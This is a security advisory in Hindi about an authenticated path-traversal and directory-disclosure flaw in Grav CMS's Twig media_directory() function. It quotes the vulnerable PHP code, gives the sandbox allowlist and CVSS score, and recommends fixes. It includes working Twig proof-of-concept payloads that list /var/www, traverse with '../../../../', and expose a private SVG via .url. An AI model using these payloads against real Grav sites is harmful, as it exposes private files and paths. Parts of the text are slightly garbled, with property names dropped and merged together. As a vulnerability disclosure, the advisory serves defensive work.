
तकनीकी सलाह जो Grav CMS के Twig media_directory() फ़ंक्शन में प्रमाणित पथ-ट्रैवर्सल भेद्यता का विवरण देती है, जो मनमाने निर्देशिका गणना और फ़ाइलसिस्टम पथ प्रकटीकरण को सक्षम बनाती है।
media_directory() के माध्यम से मनमाना डायरेक्ट्री खुलासानाम: CYBER-SEC
संपर्क: [email protected]
Grav का Twig फ़ंक्शन media_directory() पेज-कंटेंट Twig सैंडबॉक्स अनुमति सूची में उजागर है, लेकिन यह गैर-स्ट्रीम इनपुट के लिए पाथ संयम को ठीक से लागू नहीं करता है।
पेज-संपादन विशेषाधिकार वाला एक प्रमाणित उपयोगकर्ता Twig-सक्षम पेज कंटेंट के अंदर media_directory('/absolute/path') कॉल कर सकता है या media_directory('../../../../path') जैसे सापेक्ष ट्रैवर्सल का उपयोग कर सकता है। Grav फिर वेब सर्वर उपयोगकर्ता द्वारा पठनीय डायरेक्ट्रीज़ से मीडिया-प्रकार की फ़ाइलों को अनुक्रमित करता है।
लौटाए गए Medium ऑब्जेक्ट सैंडबॉक्स-अनुमत गुणों जैसे और को उजागर करते हैं, जिसके परिणामस्वरूप मनमाना डायरेक्ट्री गणना और पूर्ण फाइलसिस्टम पाथ खुलासा होता है। छवि/SVG फ़ाइलों के लिए, URL या कैश जनरेशन Grav के सार्वजनिक कैश हैंडलिंग के माध्यम से फ़ाइलों को उजागर कर सकता है।
filepathfilenameयह एक प्रमाणित सूचना खुलासा भेद्यता है। यह अप्रमाणित शोषण या प्रत्यक्ष रिमोट कोड निष्पादन की अनुमति देने के लिए ज्ञात नहीं है।
उत्पाद: Grav फ्लैट-फ़ाइल CMS
रिपॉजिटरी: https://github.com/getgrav/grav
सत्यापित प्रभावित संस्करण: 2.0.3, 2.0.4, 2.0.6
घटक: Twig media_directory() / Grav पेज-कंटेंट Twig सैंडबॉक्स
वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
आधार स्कोर: 6.5 मध्यम
कमजोर सिंक यहाँ स्थित है:
system/src/Grav/Common/Twig/Extension/GravExtension.php
प्रासंगिक तर्क:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
केवल stream:// इनपुट Grav के लोकेटर के माध्यम से हल किए जाते हैं। गैर-स्ट्रीम पूर्ण या सापेक्ष पाथ बिना कैनोनिकल realpath() सत्यापन, ट्रैवर्सल अस्वीकृति, या अनुमोदित Grav-नियंत्रित डायरेक्ट्रीज़ तक संयम के new Media($media_dir) में यथावत पारित किए जाते हैं।
फ़ंक्शन पेज-कंटेंट Twig सैंडबॉक्स अनुमति सूची के माध्यम से उजागर है:
system/config/security.yaml
allowed_functions:
- media_directory
सैंडबॉक्स Medium विधियों/गुणों की भी अनुमति देता है जैसे:
filepath
filename
url
cache
resize
यह एक प्रमाणित पेज संपादक को मनमानी पठनीय डायरेक्ट्रीज़ से फ़ाइलनाम और पूर्ण पाथ खुलासा करने की अनुमति देता है। छवि/SVG फ़ाइलों के लिए, सार्वजनिक URL/कैश जनरेशन फ़ाइल सामग्री को उजागर कर सकता है।
Twig कंटेंट प्रोसेसिंग सक्षम होने पर, एक Grav पेज बनाएं या संपादित करें और डालें:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
ट्रैवर्सल रूप:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
छवि/SVG खुलासा उदाहरण:
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}
जब पेज सहेजा और प्रस्तुत किया जाता है, Grav हमलावर-नियंत्रित पाथ से फ़ाइलों को अनुक्रमित करता है और फ़ाइलनाम और पूर्ण फाइलसिस्टम पाथ उजागर करता है।
linuxserver/grav:latest Docker छवि का उपयोग करके Grav 2.0.6 के विरुद्ध सत्यापित किया गया।
देखे गए परिणाम शामिल थे:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
सापेक्ष ट्रैवर्सल की भी पुष्टि की गई:
../../../../app/www/public
.url के माध्यम से SVG फ़ाइल खुलासा भी नियंत्रित स्थानीय परीक्षण वातावरण में पुष्टि की गई।
एक प्रमाणित पेज संपादक यह कर सकता है:
यह भेद्यता खुलासा-श्रेणी की है और इसे रिमोट कोड निष्पादन के रूप में रिपोर्ट नहीं किया जाना चाहिए।
अनुशंसित सुधार:
media_directory हटाएं।या:
media_directory() पर सख्त कैनोनिकल पाथ संयम लागू करें:realpath() का उपयोग करके सभी पाथ हल करें।user://pages, user://images, या अन्य स्पष्ट रूप से अनुमोदित मीडिया डायरेक्ट्रीज़ की अनुमति दें।यह मुद्दा CYBER-SEC द्वारा रिपोर्ट किया गया था।